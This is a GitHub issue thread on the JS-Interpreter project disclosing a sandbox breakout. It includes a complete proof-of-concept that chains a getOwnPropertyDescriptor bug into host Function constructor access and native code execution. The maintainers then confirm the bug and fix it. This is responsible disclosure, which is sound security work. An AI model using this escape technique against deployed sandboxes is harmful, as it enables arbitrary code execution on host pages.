NeilFraser / JS-Interpreter

A sandboxed JavaScript interpreter in JavaScript.
Apache License 2.0
1.98k stars 353 forks source link

Interpreter Breakout #181

Closed XmiliaH closed 4 years ago

XmiliaH commented 4 years ago

It is possible to break out of the interpreter and run native javascript code.

Following code will change the title when run in the live demo to 'On No':

var obj = {}; 
Object.defineProperty(obj, 'prop', {get: Object.getOwnPropertyDescriptor});

// The bug is in Object.getOwnPropertyDescriptor which will convert the getter from native to pseudo, however it is already pseudo. 
var bugged_getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor(obj, 'prop').get.nativeFunc;

// Now get the Object.prototype.__lookupGetter__ method
var desc_lookupGetter = bugged_getOwnPropertyDescriptor({isObject: true, properties: {__lookupGetter__: ''}, getter: {}, setter: {}}, '__lookupGetter__');
var func_lookupGetter = desc_lookupGetter.properties.get.nativeFunc;

// Object.prototype.__proto__ is a getter, so use the __lookupGetter__ to get it.
var func_proto = func_lookupGetter('__proto__').nativeFunc;

// And get the prototype of the Interpreter, since it is bound to this by the wrapper.
var proto_Interpreter = func_proto();

// Use Interpreter.prototype.setValueToScope to build our own pseudo object.
var func_setValueToScope = proto_Interpreter.properties.setValueToScope.nativeFunc;

// Our new pseudo object with self references to access internal parts.
var base = {properties: {isObject: true, getter: '', setter: '', properties: {properties: {isObject: true, getter: '', setter: '', c: {properties: {isObject: true, getter: '', setter: ''}}}}}};
base.properties.properties.properties.c.properties.properties = base;

// Will hold our future self build pseudo object.
window.HOST = null;
func_setValueToScope('HOST', base);
// Our self build pseudo object.
var host = window.HOST;

// By writing to host we are able to change this objects internal fields.
var bad = host.c.properties;

// Change the getter so that it does not have the contructor through __proto__ chain.
host.properties = {}
host.getter = bad.getter;

// Get Object constructor
var ctor_Object = bad.constructor;

// Get the Function constructor, since bad.properties === Object, so bad.constructor in the interpreter will be bad.properties.constructor
host.properties = ctor_Object;
var ctor_Function = bad.constructor;

// Build a vaild pseudo function for the native Function constructor
host.nativeFunc = ctor_Function;

// And build our own function
var myFunc = bad("document.title='Oh No'");

// And build a vaild pseudo function for our function
host.nativeFunc = myFunc;

// and run our native code :P
bad();

The bug is in Object.getOwnPropertyDescriptor which will convert the getter and setter from native to pseudo, however it is already pseudo. This can be elevated to native javascript code execution.

cpcallen commented 4 years ago

Confirmed. Yikes. Excellent work, @XmiliaH; thanks for bringing this to our attention.

NeilFraser commented 4 years ago

Whoa, that's amazing. I've fixed the bug in getOwnPropertyDescriptor, and added an extra layer of security one level back at the native-pseudo conversion functions. Does this look good to you?

XmiliaH commented 4 years ago

Yes, I think the fix looks good. And the extra checks will make it harder to exploit in the future.

NeilFraser commented 4 years ago

@XmiliaH Can you reach out to me at fraser@google.com, thanks!

XmiliaH commented 4 years ago

Want to note that at some points on pseudo to native conversions one can set the prototype of the native object with __proto__ for example at https://github.com/NeilFraser/JS-Interpreter/blob/00f8069b3a73885ee32a53384dadfc8821d799d9/interpreter.js#L2223.

NeilFraser commented 4 years ago

Want to note that at some points on pseudo to native conversions one can set the prototype of the native object with __proto__ for example at

That's not ideal. Fixed. Thanks!

cpcallen commented 4 years ago

That's not ideal. Fixed. Thanks!

I added a comment to that commit, because I think the fix is not as secure as it could be.

Question for @XmiliaH: are there any JS sandboxes you've not found a hole in yet?

I'm quite impressed by @NeilFraser managing to write one that outlasted vm2 (not to mention the laughable safe-eval), and by the non-trivial amount of work it took to actually exploit this bug.

XmiliaH commented 4 years ago

@cpcallen I would like to find a bug in v8, SpiderMonkey or JavaScriptCore, but I did not find anything there yet. Also there might be other JS sandboxes out there that I am unaware of. I for example didn't know about this one until I stumbled about you in a Issue from safe-eval and looked at your Repositories.